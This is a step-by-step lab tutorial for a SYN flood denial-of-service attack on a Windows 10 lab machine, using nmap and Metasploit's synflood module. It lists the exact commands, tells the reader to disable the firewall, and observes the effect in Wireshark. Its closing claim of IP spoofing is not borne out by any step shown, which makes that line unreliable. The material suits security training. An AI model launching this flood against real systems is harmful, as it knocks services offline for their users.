SYN Flooding a Target Host using Metasploit || Dos attack

 A SYN flood is a form of Dos attack in which an attacker sends a succession of SYN request to a target machine in an attempt to exhaust its resources and make it unresponsive to legitimate incoming traffic.

Before Beginning task ensure that the firewall is turned off

Step 1 : Open kali linux

Step 2 : In this lab we are going to perform SYN flooding on the win 10 machine through port 21

Step 3 : Tyoe the command nmap -p 21 (ip address of win 10) and press enter

Step 4 : The result returned by Nmap states that the port is open

Step 5 : Type msfconsole from command line terminal and press enter to launch msfconsole

Step 6 : Type the command use auxiliary/dos/tcp/synflood and press enter

Step 7 : Now Type show option and press enter.These displays all the options with auxiliary module

Step 8 : issue the following command

1. set Rhost (ip address of windows 10)
2. set Rport 21 

Step 9 : To begin, type exploit and press enter

Step 10 : Switch to the windows 10 machine, launch wireshark application select an interface and click start

Step 11 : Wireshark displays the traffic coming from the machine

Step 12 : now open task manager and click performance tab wait for 10-15 sec, you will observe the CPU usage has increased which implies that the Dos attack is in progress on the machine 

Step 13 : once the performance analysis is done  switch to the kali linux then press ctrl+c terminate the attack.

Step 14 : You have successfully spoofed the ip address of the machine and perfomed the Dos attack on the victim machine.
